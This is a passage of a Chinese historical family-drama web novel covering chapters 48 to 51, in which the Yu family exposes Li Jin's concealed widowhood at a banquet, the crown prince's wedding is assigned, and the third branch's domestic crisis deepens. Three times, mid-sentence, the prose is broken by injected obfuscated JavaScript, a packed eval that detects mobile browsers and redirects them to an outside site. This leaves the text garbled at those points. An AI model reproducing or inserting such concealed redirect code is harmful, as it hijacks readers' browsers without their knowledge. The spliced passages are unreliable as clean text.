游乘将刘远的话一字不落地告知了父母。 容芝坐在烛台边，从针线筐里挑了一枚盘扣，放在半成品的裙带上比划，“那李家确实有个二老爷，是李经章的弟弟，叫李经资。只是二十多年前，他因杀人劫财被判了死刑，案子，还是你祖父督办的。这早死了的人，怎么又活过来了？” 游怜山听言，眉峰拧起，“若当年父亲和李经章合谋，欺上瞒下……也许人根本没死。难怪了，李经章舍得把嫡女李襄嫁给咱们家的三弟，庶子游怜钊。” 容芝缝好了盘扣，抬起头，“此事留个心眼，慢慢查。眼下要紧的是，找个愿意作证李谨妻子已死的人，以此来牵制李家，让他们祸害不了别家的女儿。” “说到作证，儿子倒觉得，那个‘二老爷’最合适。” 长房次子游余不知何时站在门边，半张脸在暗处，似笑非笑。 游乘一怔，反应过来，“我同意弟弟的提议。刘家管家说，二老爷常去酒馆请客，我去堵他，也会会他。” “不行，太危险了！” 游怜山立刻反对，“万一他不合作，直接对你动手，怎么办？” 容芝轻声分析，“他不会动手的。隐忍多年，不以真面目示人，他定有大计划。为了这点小事，功亏一篑，不值得。咱们找他说一说李谨的丑事，闹出的场面不能过大，也不能过小，我觉得，由游乘出面和他谈，挺合适的。再则，游余也跟去，以防意外。” 游怜山瞥了眼游余，“让他跟去，我怕他才是最大的意外。” 游余皱一皱眉，一把抱住游怜山，“亲爹！我也是您儿子，您就不能像对哥哥一样，对我多点信心？” 次日，午后，酒馆里人声嘈杂。 游乘和游余坐在角落，他俩点了一壶茶，一碟上好的鹿肉干，边吃边盯着门口的来客。 “哥，人来了。”游余撇下肉干，变得紧张。 门口，戴黑面纱的李经资走进来，手里握一柄镶红宝石的短刃。 游乘起身，上前拦住李经资，亮出李谨的玉牌，“等你好久了。” 李经资瞧着那块玉牌，转身就要跑。 游余跑着追上去，慢悠悠开口，“二老爷，别急着走嘛。” 这道声音不大，却盖过了周遭的喧闹。 游余见李经资停下，以手掩口，靠近道，“您也不想想？若我们来找你算账，此刻外面早布下天罗地网，您跑不掉的吧。” 李经资迟疑片刻，终是转回来，在桌边坐下，语气冷硬、低沉，“你们想从我这得到什么？” 游余看了眼哥哥游乘，“哥，九姐姐是你未婚妻，你们聊。” 他走到柜台边，摸出二十两银票，递给掌柜，“今日这场子，我全包了，麻烦您让各位客官挪一挪。” 酒馆客人离开，很快静了下来。 游乘坐在李经资对面，直入主题，“前些日子你们劫走秦徐，所幸，她没受到伤害，只要你肯当面跪下，求她原谅，我可以劝秦家放过你。但是，你要想办法，了断李谨祸害女子的心。” 李经资听笑了，带几分嘲讽，“恕我办不成！腿长在他身上，他又是李家独苗，前日下堂了正妻，再娶是天经地义。你凭什么觉得，李首辅会亏待他这个独子？” “可他的妻子刚溺水而亡，头七都没过，他就想强娶秦徐。这事传出去，李首辅的脸面往哪放？”游乘往前倾了倾身，望着李经资的面纱。 李经资往后退了退，话里藏着试探，“你觉得事情不妥，可以找言官弹劾，何必来找我？还是说，你根本没证据证明他妻子死了？” 游乘稍有沉默，轻笑，“证据不重要，重要的是，你不想曝光身份，更不想大计失败，对不对，李二老爷？” 李经资的手指扣紧了桌沿，目光变冷，“你知道了什么？这般明目昭彰，就不怕牵连到你祖父？” 游乘语气平静，有不容置疑的底气，“我今日敢来见你，说这番话，你还不懂吗？是，我不清楚你和我祖父之间的过往，也或者，我祖父当年有错，可是事到如今，我祖父会不会和李家同归于尽，全看你要不要把他逼到绝路！” 李经资目光凝滞，嘴角扯动，没说出话来。 游乘眨眨眼，“你是知道的，秦徐已与我小定，所以她的事，我必须管。不久前，我乡试中了解元，而我祖母又深得太后恩宠，你呢，若想试试惹怒咱们游家的后果，现在就可以走。” 李经资坐着没动。 他沉默了良久，苦笑道，“游大公子，少年英才，好厉害的谋算……行吧，你说说，想让我怎么做？” 游乘听他愿意妥协，放缓了口气，“还是李谨亡妻的事。你有苦衷，不方便出面，只需在李家找个有威望的人，后天在咱们游家的桂宴上，演个戏，把一些事抖搂出来。” “后天？游家的桂宴？” 李经资挑眉，随即笑了，“真会选日子。” 游乘端起茶杯，呷一小口，“二老爷是聪明人，不用我多解释。届时，我会让父亲邀李谨来赴宴，也会请遍京城望族。众人围观，瞧个热闹，就看二老爷找的人，能不能准时登场了。” 日子转眼到了后日。 司宁侯府的孙辈游乘、游余，在乡试中双双大捷，其祖父，大理寺卿游仁泰，特在侯府设下桂宴，请京城高门共贺。 红灯笼挂满回廊，桂花香飘满院落。 司家、刘家、袁家等世家代表人陆续到场，送上了礼物。 内阁首辅李家的三公子李谨，也来了。 李谨一身锦袍，衬得面白如玉，只是在场众人看他的眼神，带着几分忌惮与疏离。 没一会，听见秦家的人进了府门。 为首的秦舒皱着眉，一看见李谨就避开了挨着李谨的位子，径直走到刘家主子，都察院左都御史刘钦的面前。 “都御史大人，咱们换换？”秦舒客气笑道。 刘钦愣了一瞬，没多问便起了身。 等他一坐下，秦舒亲昵地拍拍他的肩，小声道，“听说，刘小公子这两天要去江陵？你我两家的孩子没缘分结亲，好歹也是朋友，徐徐让我问问，子应具体哪天走啊？” “你怎么也知道子应要走？”刘钦的眼中满是诧异。 秦舒啧了声，从袖中掏出一封信，递了过去，“不是你家子应给我家徐徐写信相约吗？” 那封信尾的署名，赫然是“刘与之”。 刘钦只扫了一眼，差点拍案而起。 他被秦舒摁住，压着嗓音，怒道，“这字是假的！有人冒充我家子应！” 秦舒死拉着他，用下巴点了点旁边的李谨。 刘钦好像明白了，又好像没明白，压低声音问，“和李家有关？” 秦舒反问，“刘公，你生气吗？” 刘钦胸口剧烈起伏，“当然生气！我的子应还病着，他们竟敢冒用他的名义，约见订了婚约的女子，败坏我刘家的名声！” 秦舒的目光扫过旁边的李谨，“那你想知道是谁干的，又为什么这么干吗？喏……一会你就都知道了。” 话音刚落，侯府大门外传来通报。 “——李家送贺礼到！” 众人的目光齐刷刷投过去，见两个小厮捧着一个锦盒进来。 李谨放下手中酒杯，带着点意外，也望了过去。 两个李家小厮站在庭院中央，打开锦盒的瞬间，全场一片寂静。 盒子里装的是一幅女子画像，画中女子眉眼温婉，正是李谨的妻子。但更令人震惊的是，送礼的人忽然撕开了外衣，露出里面的素白丧服，抱着那幅画像就哭了起来。 “我命苦的妹妹啊！刚没了孩子，又遭此横祸，李家绝情绝义，竟连个丧讯都不肯外告！” 嗡的一声，人群大乱。 各家主子面面相觑，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197045|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明所以。 “什么？李家儿媳妇死了？” “前日还有媒婆去李家说亲啊，这是想隐瞒死讯，夺情再婚？” “没想到，李首辅私下居然如此不顾伦常！” 议论声此起彼伏。 震惊过后，便是掩饰不住的鄙视。 转眼，桌边的李谨脸色涨成了猪肝。 他冲上去，拽起地上痛哭的男子，“你别在这胡说！你妹妹是我救的，她只是没了孩子，人好好活着，你怎么敢咒她！” “她好好活着？那你敢让我见她一面吗？你敢吗？”男子挣脱开，声音越发洪亮。 李谨急了，拉着人就要走，“这是我李家的家事，你别在这闹！回李家去，咱们什么都好商量！” “见不到我妹妹，我不走！” 一旁的秦舒，适时开口，“李三公子，人家兄妹情深，你何必拦着？把三夫人请来，不就什么都清楚了？” 李谨被堵得说不出话，面红耳赤，不由分说拖着那人往院门走。 刚出了游家大门，李谨便再也忍不住，把人扔给身后的仆从，吼道，“绑了他！找个地方活埋！” “住手！”不远处，两道声音同时响起。 游家三郎游怜钊和妻子李襄匆匆赶来。 李襄上前一步，拉住李谨的胳膊，“谨弟，冷静点！” “我怎么冷静？他让我当着满京城的权贵，颜面丢尽，我冷静不了！” 李谨眼神猩红，微微一眯，“姐，是不是连你也想搞我？当年，你在寒山寺，是谁担心你，总去陪你？又是谁偷偷帮你联络三殿下？你怎么能，忘恩负义！” “夫人联络三殿下？” 游怜钊低声道，看李襄的目光多了几分探究。 李谨见此，脸色一变，慌忙道，“我还有事，告辞！” 说完，他拖上被绑的男子，头也不回地离开。 桂宴散时，夜色已深。 游怜山送走最后一批宾客，扭头，便见曾经因为秦徐而闹到水火不容的秦舒和刘钦，并肩走着，边走边说话。 对此，游怜山啧啧称奇，“秦舒这老狐狸，有两把刷子呢！三言两语就拉拢了刘钦。” “敌人的敌人是朋友。” 容芝站在他身边，语气淡淡，“官场之上，利益为先，今天是朋友，保不齐明天就又反目了。” 游怜山收回目光，叹了口气，“倒是不知道刘家的子应病得怎么样了。” 这话恰好落在二人身后的游乘耳中。 游乘垂眸，抹了把眼泪。 容芝见状，轻拍了拍他的肩，“乘哥儿，你别伤心，我多让人去打听打听，没有不透风的墙，一定帮你问到子应的离京日期。” 游乘摇摇头，声音怅然，“我不想强求了。他要走，我不能当面送他，就在京城遥祝他，健康快乐吧。” 他转身往府门内走，又想起什么，问母亲容芝道，“这次乡试的主考官升铭没来，儿子想着，应该登门拜访，娘觉得合适吗？” 容芝尴尬地笑，“这种事你自己拿主意，要问，也是问你爹，问我做什么？倒显得好像我和人家背地里有什么……” 她看了看身旁的游怜山。 游怜山沉声一笑，伸手牵住妻子，“唉呀，忙了一天，我腰酸背痛的，大家都快回去，洗洗睡了吧！” 东园，吹灯就寝。 与此同时，李家的正堂还灯火通明。 李经章得知今日游家桂宴之事，头疾发作。 他双目紧闭，不愿多看李经资一眼，却不得不叮嘱，“好弟弟，算哥哥我求你，行不行？务必给我盯好李谨，别让他再胡闹哩。” 李经资颔首，“我明白，但此番受的气，就算了么？那游家的乘哥儿，明年马上参加会试，如果真让他考中状元……” 李经章连连捶打额头，“中状元又怎么？除非游仁泰不想要脑袋，打算跟我同归于尽。放心，游仁泰会出面敲打游乘、游余。” 李经资点头，又想起另一件事，“湖西道今年乡试的解元想来拜谒，您看哪天合适？” 李经章的脸色微松，“人到了就安排进府。过几天太子大婚，我忙完了此事，找人送你和李谨去湖西，离开京城，避避风头。” 李经资怔了怔，“……听大哥安排。” 49. 太子婚仪，游乘心事 太子大婚在即，礼部尚书李经章本是主理人，家中嫡子李谨却隐瞒正妻丧讯，着急再娶，闹出了丑事。流言蜚蜚，席卷京城，终是飘进了皇帝炎治的耳中。 那日散朝，内监突然叫住李经章，言明皇帝在上书房候见。众目睽睽之下，李经章面色未变，没有多问，可内监转头又唤住了礼部侍郎游怜山。 这一幕，让在场官员皆暗自揣测。 书房外的长廊上，游怜山心头打鼓，满脑子都是前日李谨在侯府出丑的模样，就怕皇帝将“疏忽大意”的罪名算到司宁侯府的头上。 “镜水，你觉得今日要议什么？”李经章的声音突然响起。 游怜山强压着紧张，拱手笑道，“下官不敢妄议圣心。” 李经章不同于他的谨慎，语气坦然，“也无需猜测，定是为犬子之事。李谨闹得如此难看，我这个父亲难辞其咎，昨日已敦促他外告儿媳的丧讯，叮嘱他送好最后一程。我管家不严、教子无方，等太子大婚后，便将他赶回湖西老家，断不能留他在京继续贻笑大方。” 游怜山不知该接什么话，只能沉默点头。 不多时，内监传二人入内，后续之事竟全被李经章说中。 皇帝直言，有言官上奏弹劾李经章家风不正，不宜再主持太子大婚，希望另换人选。李经章似早有预料，当即跪地请辞礼部尚书之职。 “游侍郎，你以为呢？”皇帝话锋突然转向游怜山。 游怜山忙跟着跪下，紧挨着李经章，叩首道，“微臣斗胆进言，此前筹备太子婚仪，李尚书为核定光禄寺宴席的金银器皿便耗了十日，同期还要兼顾乡试，或许是稍有顾不上内宅，才让李贤弟出了这桩笑话。” 皇帝闻言轻笑，“你觉得，这只是个笑话？” “可能……是个稍大些的笑话。”游怜山说完，便伏地叩首，再不敢多言。 少时，头顶传来皇帝爽朗的笑声。 “朕倒没料到，游家大郎竟这般有趣。李经章，李首辅，你听懂他的意思了吗？” 游怜山余光瞥见李经章侧头看他，满眼茫然。 随即，李经章恭敬回道，“臣听懂了。但太子婚仪关乎皇家威仪，既然朝中有质疑，臣自当反省改正，不可皇然不顾。” 皇帝轻叹了声，“这可如何是好？李尚书不愿继续，游侍郎也不愿接，难道没有更合适的人？” “或许可请礼部右侍郎……” 李经章刚开口，便被皇帝打断，“哼！不过一场婚仪，你们竟推三阻四？难道朕的太子是洪水猛兽，不配得你们支持？” “臣有罪。”李经章立刻认罪。 游怜山也急忙辩解，“微臣绝无此意，能为太子主婚是微臣的荣幸，只是微臣——” “只是你觉得自己不是礼部尚书，不该越俎代庖，更怕接了这事得罪李尚书，日后被针对？”皇帝一语道破。 游怜山伏在地上纹丝不动，心里清楚，此刻多说多错，闭嘴才是最聪明的选择。 一时间，书房里静得可怕，游怜山甚至能听见身旁李经章小心翼翼的呼吸声。 “既然如此，李尚书表个态吧。”皇帝催促道。 李经章说，“臣相信圣上，若圣上信得过游侍郎，臣也信得过。” 皇帝笑着拍板，“好！那太子大婚仍由李尚书督办，游侍郎从旁协助。” 说罢起身，在内监的搀扶下走出了书房。 游怜山这才敢起身，后背早已被冷汗浸湿，还好这烫手山芋没落到自己手里。 当晚回侯府，游怜山跟容芝说起白天的事，心有余悸，“这比从前谈几千万的订单吓人多了！” 容芝瞧着他，“那当然，从前谈不成最多被革职，现在说错一句话，可是要掉脑袋的。” 游怜山长长松了口气，“经今日这事我也看清了，李经章在皇帝心里的位置有多稳。如果李经章没有十恶不赦的大错，皇帝不会动他的。” 容芝也想起了原著里的李经章。李家夫人出身湖西富商，家中办私学、助寒门，在当地威望极高。可凡事都有两面性，李经章如今位高权重，湖西的乡邻难免仗着他的名头横行，此前的湖西修河款一事，便是例子。 晚膳时，阿桔去南屋请游乘和游余。 游余正写文章写得入神，不愿放下笔，游乘只好独自前来问安。 “你何时去拜访升铭大人？”游怜山随口问道。 游乘想了想，“等弟弟写完文章，我和他同去。” “你得有个准备，他大概率不会见你。” 游怜山提醒道，“太子大婚后，太子府的人行事需更加谨慎，你若只是为了感谢乡试时的提携，未必非要现在登门。” 游乘性子执拗，重情重义，“还是得去一趟，哪怕只见一面也好。” 次日一早，游乘和游余去詹事府少詹事升铭家，果然吃了闭门羹。 回程路上，游余情绪低落，不愿直接回府，游乘便带他去了自家书局。 二人坐在二楼临街的窗边，吹着秋风看了会儿书，转眼到了午膳时间。正打算找家小店随便吃点，书局的老周掌柜却来说，有人在隔壁酒楼订了席，想请他们过去一聚。 游乘兄弟俩心里清楚，定是有人在窗边瞧见了他们。自乡试高中后，二人在京城渐渐有了声望，容芝推掉了不少登门拜访的帖子，却防不住有人在他们常来的书局蹲守。 总避而不见，不妥，游乘想通，“聊聊文章，也无妨。” 游余补充，“不用他们请客，我们做东就行。” 席间，来了不少国子监的同年，大家聊起今年乡试考题，难免谈及各地时局。江南又出了科举舞弊案，江陵闹了水患…… 散场时，兄弟俩带回一厚摞交流的文章。 游余对这些文章极感兴趣，回书局后便找了张桌子翻看，格外认真。游乘在旁喝了不少茶，有些醉意，靠在椅背上望着蓝天白云，思绪不知不觉飘到了江陵，想起了远去的朋友刘与之。 “弟，你说江陵的花，比京城多还是少？” 游余抬头看哥哥，“问这个，是担心子应的花粉不适症？” 游乘摇了摇头，“不止。我从前看他身子挺壮实，怎么就突然一病不起，连朋友都不见了？” “或许他根本没病，他只是不想科举、不愿争了，想清闲度日罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205205|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 游余淡淡道，“反正他家兄弟多，父亲又是二品重臣，就算什么都不做，也能过得很好，哪像我们？” 游乘趴在桌上，声音闷闷的，“其实你和子应一样，也不用考科举。咱爹是嫡长子，能袭爵，你是嫡长孙，以后也能袭爵。” 游余苦笑一声，“哥你这话不对！咱爹不得祖父喜欢，袭爵的事根本指望不上！” “怎么会……算了，我想睡会，你看文章吧。” 直到入夜，兄弟俩才回侯府。 游余提着从书局借的书箱，被容芝撞见，只好坦白说，白天请同年吃饭、收了文章的事。 容芝觉得结识朋友挺好的，但一转头，看见跟在后面的游乘眼神呆滞，一副没睡醒的模样，有些心疼了，“哥儿，想睡就先回屋，睡醒了再吃饭。” 游乘低声应着，挪进南屋，很快就没了动静。 饭桌上少了游怜山。 这几日他忙着监督太子婚仪，回不了家。容芝和游余对坐，总觉得身边空落落的。 “娘在叹气？”游余放下手里的文章。 容芝不答反问，“我看你哥今天没精神，是不是你们午时吃饭，他听了什么闲言碎语？” 游余愣了愣，“没有啊，我猜哥是还在为见不到刘子应难受。” 容芝瞬间懂了，“你哥从小就敏感，别人不在意的事，他能记很久。刘家这事，得想办法解决才行。” 游余笑道，“刘家什么背景？您就别瞎操心了。” 容芝皱起眉，抢下他手上的文章，“可也不能看着你哥一天天消沉下去。再过几个月就是会试，各地高手都要云集京城，万一他发挥不好，承受不住打击，钻了牛角尖，怎么办？” 游余挠挠鼻子，“娘在杞人忧天……我哥怎么可能发挥不好？他肯定能中状元。您要是实在闲，不如多想想他和九姐姐的婚事？” “你哥的婚事，我一直记着呢。” 容芝没了胃口，索性离席走到正堂外，望向亮着烛光的南屋。她看见游乘压根没睡，正坐在桌前磨墨写信，写满一张便折好放进信封，然后躺回床上，翻来覆去，也睡不着。 “娘，您在看什么？”游余捧着文章走了出来。 容芝摇摇头，没说话。 见他要朝南屋走，她急忙拉住他，“儿子，帮娘个忙。” “您说。” 容芝掏出一张五百两的银票，“这钱你收好，从明天起，你负责带你哥出门散心，哪儿好玩、哪儿好吃，你就带他去哪儿。” 游余察觉不对，扶住她的双肩，“娘怎么了？” 容芝只是叹气，“你别问，说了你也不懂。总之，不管你用什么办法，都得让你哥高兴起来，他要是不高兴，娘的日子也过不下去。” “好好好！您别急，我肯定能哄好我哥。” 游余拍着胸脯保证，让哥哥高兴，对他来说不算难事。 隔天一早，游余借口要把看完的文章还给同年，约游乘一起去不足斋交流。 兄弟俩来到书局，推开二楼雅间的门。 窗前那人正好回过头，开口唤道，“游介舟。” 50. 游乘偿愿，三房失控 等候的人是秦徐。 游乘微感失望，原以为弟弟帮他寻来的会是刘与之。 秦徐兴冲冲地说，母亲刚给她五百两银子用于开书局，她第一时间就来寻他。那间新铺面，在千家胡同和内城边缘，既贴近巷弄人家，又兼顾权贵人家，店铺布局显得尤为重要。 “读书人骨子里都有傲气，不太看重身外之物。” 游乘缓声道，“你的书局只要干净、整洁、宽敞，再添几分安静，就足够了。” 秦徐不由分说拉他下楼，要去看新店面。 游乘虽兴致缺缺，终究也点了头。 快晌午，秦家的马车停了千家胡同前。 游乘与秦徐进铺里，来往走动，预设布局。 店门口，虞次拉上游余，指着远处的“谷之房牙行”，低声开口，“二哥儿，跟你说个秘密？你们昨日没见到的升铭，其实是命生掌柜。” 游余收回目光，睁大了眼，“你意思是，尔惑先生……是太子？” 他猛地想起先前，他和哥哥在湖边偶遇尔惑的场景。对方在湖中亭抚琴，他解衣如厕，还让哥哥帮他遮挡。 念及此，游余的脸颊瞬间涨得通红。 这边游乘刚帮秦徐敲定完书局布局，走出来找游余，见他站在原地神色怪异，像是藏了什么事，便主动问出了何事。 游余神秘一笑，“哥，我再带你见个人，保管你见了能高兴！” 几人一同往房牙行去。 秦徐有眼力见，说她留在马车上等。 经过茶馆前的招幌，游家兄弟上前推房牙行的门，果然门又虚掩着。 命生着一身便服迎上来，瞥见门外的女轿，问道，“车里的可是秦家九娘？” “是九姐姐，也是我未来嫂子！”游余抢道。 游乘耳尖微红，忙解释，“祖母为我们小定，是为了护住秦家。我和秦徐，说到底只是朋友，并无男女之情。” 命生却笑，“都这样。真住到一起，感情自然就有了。” 游乘赶紧转移话题，拱手道，“升先生！恕晚辈眼拙，没看出您便是詹事府的少詹事，先前多有冒犯，还望您莫放在心上。” “我也得请你包涵。” 命生坦然道，“昨日收到你的拜帖，因身份顾忌，我故意闭门不见。” 游乘这才露出笑意，目光扫过侧面墙上的一些团扇。走近一看，挂游字的那柄在中间。 他心头一动，“太子殿下还在观望游家？” “公子好眼力，”命生笑着点破。 恰在此时，游余的肚子“咕噜”叫了一声。 该用午膳了，游乘想起马车上的秦徐应该也饿了，连忙向命生谢过乡试的提携之恩，起身告了辞。 命生却叫住他，递来一柄团扇。 游乘接过看，扇面上画着一座三进宅院，“又有交易交给家母？这次是哪家的事？” “这是给你的。”命生道。 “可我并无需求。” 游乘皱眉，“我住在祖父的侯府里，叔伯婶婶、弟弟妹妹们相处和睦，不会分家的。” 命生坚持把团扇塞到他手里，“现在不需要，往后总有一天，你要有自己的小家。” 游余咋舌，脱口道，“真到那天，怕是司宁侯府都不在了吧？” 游乘看向游余，想起祖父曾冒险保下李家二老爷的死囚命。他攥紧团扇，“升先生，我祖父在朝中有难，对不对？” “算是。” 命生缓缓点了点头，“太子正在想办法转圜，不过，也得你祖父愿意配合。” “需要祖父如何配合？李家的案子若重审，祖父定会第一个被推出来。” 游乘沉声道，“除非李家那人能戴罪立功，功过相抵才能活，我祖父才有机会脱险。” 命生颔首，“介舟说的法子，倒可行。” 游余一拍手，“不如让他去西南剿匪！我瞧他身形彪悍，定有功夫，去剿匪正合适！” 游乘神色微松，“弟弟脑子倒快。” 命生说，“可我是太子府的人，不便出面见李家的人。” 游乘应下，“由我去说服他吧。那人本就欠了秦家和秦徐一个道歉，我找他，他肯定会见我的。” 临走前，游乘仔细收好了那柄团扇。 兄弟俩上了马车，秦徐一眼瞥见游乘手中的团扇，笑道，“这是送给我的？” 游余凑过来打趣，“九姐姐，你对这宅子挺满意啊！” 秦徐这才看清扇面上的宅院，恍然道，“还以为只是普通画扇，原来藏着玄机。” 游乘问，“你真喜欢这宅子？” 秦徐又看了两眼，认真点头，“挺合适的。” 游乘弯了弯唇，“你觉得合适，我便请母亲先买下来，留着以后住。” “哥想好什么时候娶九姐姐了？”游余追问。 游乘垂着眸，唇角轻扯，“婚事是祖母亲自定的，不过，也要等明年殿试放榜。” 送秦徐回府时，正撞见秦夫人在府门前拆信。秦家七郎秦均在江陵府供职，从江陵寄来了家书。 游乘想起昨日在酒楼听国子监的同年说江陵闹了水患，便多问了一句。 秦夫人道，“信里没提这事。” 秦徐说，“我给哥哥回信时，帮你问问吧。” 秦夫人笑着劝道，“那么远的地方，介舟就算知道有难，也帮不上什么。” “您说得对。” 游乘应着，眼底掠过一丝失落。 秦徐瞧在眼里，悄悄拉了拉他的衣袖，“你想去江陵，我陪你去？也正好看望七哥。” 游乘迟疑，目光不自觉看向秦夫人。 秦夫人绞着帕子，没开口。 “夫人放心！” 游余连忙上前见礼，“我和哥哥定会照顾好九姐姐，保她一路平安，开开心心见到七哥。” 秦夫人摇了摇头，笑道，“不是不放心……太子婚仪就快到了，京城城防管得严。徐徐她爹说，去西南剿匪的沈越将军都出不了城，你三伯游怜钊要下江南查科举案，也得等十日后才能动身。” 游余眼睛一转，“那是不是说，刘家的刘子应也还没出发？” 游乘沉吟片刻，“谁知道呢。” 向秦夫人告辞后，兄弟俩乘马车回了司宁侯府。 刚到东园门前，见西园三房的侍女阿雪迎了上来。 “二位举人老爷安，”阿雪屈膝行礼。 “姑姑别这么喊，怪尴尬，”游余摆了摆手，目光落在阿雪手里的婴孩鞋袜和小帽子上。 阿雪捧起来，“这是送阿桔的，她明年年中就要生宝宝了。” 三人同进东园。 阿桔收下婴孩鞋袜，容芝拉着阿雪的手，直夸做工精致、料子舒服。 “都是三夫人做的。”阿雪轻轻叹了口气，“原本三夫人要亲自过来，但昨儿她和三爷吵了架，今早便带着游绵小姐回娘家了。” 话音刚落，虞次停好马车走进来，接话道，“大夫人，我刚才见三夫人回来了，她抱着游绵， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209249|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边走边哭。我问她出了什么事，她却只摇头不说话。” 天渐渐黑了，容芝和阿桔惦记李氏，便往西园去，到院外，听见里面传来游绵的哭声。 恰逢三爷游怜钊派人来传话，说刑部衙门有事，今晚不回府了。 “三弟妹？” 容芝推开虚掩的屋门，游绵立刻从床上爬下来，扑到她怀里。 她抱起孩子，见帐子里的李氏手握着一枚粉玉镇纸，胳膊颤动。 “这东西早就该扔！”李氏说着，要将镇纸往地上砸。 “夫人！这是您最宝贝的东西，不能砸啊！”阿雪连忙上前拦住。 容芝把游绵交给阿雪，让她带去东园照看，自己走到床沿坐下，轻声问，“好好的，怎么要砸它？” 李氏别过脸去，“大嫂放心，这不是三郎送的。他是粗人，哪懂这些风雅物件。” 容芝拨开帐子，往她身边挪了挪，“看来你对三弟的意见不小。也是，女子嫁人，若不是自己选的，难免会委屈。” “大嫂哪会明白这种委屈？” 李氏忽然一笑，眼底却是苦涩，“大哥和大嫂伉俪情深，两个儿子又优秀，父亲还是前户部尚书，就算辞官了，也疼你护你。可我呢？从头到尾，都只是被人拿捏的。” 一阵晚风卷进屋里，吹开了帐子。 容芝定睛细看，才看清李氏的脸颊上有一片红肿。 “谁打了你？三弟？” 李氏泪水涌了出来，“不怕大嫂笑话，是我母亲动的手。今日我带绵儿回娘家，她入夜回来，不分青红皂白就打骂我。只因为我弟李谨要被送回湖西，她心里不痛快，就拿我撒气……可那是李谨自己犯的错啊！” “娘！” 游绵突然从门外跑进来，抱住李氏的腿。 李氏再也忍不住，将孩子搂进怀里，捂着脸失声痛哭。 容芝轻拍李氏的背，转身对阿雪叮嘱，“好好照顾着，绵儿我先带走。” 说完抱着游绵离开。 走在东园的墙下，游绵喊了声“大伯母”。 容芝赶忙停下来，以为她有哪儿疼，却听她小声说，“娘的镇纸，是三郎送的。” “三郎？” 容芝不觉愣住，这三郎，不是家中三弟游怜钊，便只能是外男。 游绵趴在容芝肩头，打个哈欠，“三郎住在一座王府里，他的大门上写着……王字。” “哪个王？”容芝追问。 虽然这对一个五岁小姑娘来说，实属为难。 “绵儿不认得那个字……小王？”游绵揉着眼睛，声音越来越小。 等游绵睡熟后，容芝放她去床上，快步去外间叫醒了游怜山，把游绵说的“三郎”、“小王”一一告知。 游怜山皱着眉，思索片刻，沉下脸色，“李氏见的人，是三殿下，恭王炎钟。” 夫妻俩对此早有预见，此刻仍感到意外。 容芝想了想原著，三房弟妹李氏和三殿下，也没什么值得一提的过往。 倒不是想深挖旁人的密辛，她只担心李氏心理压力过重，情绪失控，做出意料外的大事，牵扯到整个司宁侯府。 看来，又要去一趟千家胡同打探情报了。 时辰已晚，最快也得等天亮行动。 容芝正要吹烛台，听见有人敲大门，出来一看，竟是三房侄子，游编。 “大伯母——” 十一岁的游编满脸泪痕，如今的他口齿清白许多，跪在地上求道，“请为我母亲讨回公道！” 51. 三房行刺，密辛难藏 夜已深，月光铺洒庭院。 容芝握着三房侄子游编的手，摸到少年掌心的茧。这孩子去兵部尚书谢家才几天，就被沈越将军磨练了出来。 容芝声音放得柔，“天不早了，你先回西园歇着，有话明日再说。” 少年却抽回手，红着眼框，“编儿不要。外祖母打我娘，我管不了，三殿下作践我娘，我也管不了，可是，您也不管吗？” 三殿下。 容芝听着心头一沉，依然温言安抚，“三哥儿，听我一句？大人的事盘根错节，不是你想的那样简单。你马上就要赴西南剿匪，安心去立你的军功。家里这些事，我处理好之后，写信给你交代。” 游编含泪点了头，转身离去。 天蒙蒙亮，长房东园已点了灯。 秋日清晨透着凉意，容芝裹着薄披风，从里屋门出来。她今日要去千家胡同打听情报，原想让长子游乘陪同，此刻，游乘却立在廊下，对她行礼道，“娘，我得去见李家老二，让弟弟陪您吧。” 容芝走近，抬手帮他整理领口，瞧着他那张与他爹游怜山相似的脸，“见李家人做什么？” 游乘以手掩口，声音压得低，“娘忘了么？李二的贱命是祖父保下来的，也因此，祖父涉了欺君的险。儿子想着，若李二能去西南剿匪建功，或许能换条补救的路。” 闻言，容芝沉吟片刻，“可我听你父亲说，等太子大婚，李家打算让李二陪李谨去湖西避风头。改去西南？李二未必能自己做主。” “我只是给他机会，选不选，在他，”游乘再一拱手，转身走下屋檐，径直出了院门。 孩子已大，主意也大了。 容芝不再多想，去南屋叫醒了游余。 少年顶着蓬乱的头发，冲站在床下的母亲诉苦，“——亲娘，我昨晚写文章到半夜，您就不能让我多睡会嘛！” “睡什么睡？你哥早出门办正事了，哪像你！” 容芝揪着游余的耳朵，催他快快洗簌更衣，吃饭出门。 马车碾过石板路，“咯吱”作响。 快到千家胡同时，游余掀开车帘，指着街角一家卖糖人的小摊，“娘，那种糖人好不好吃？我还没吃过哎。” 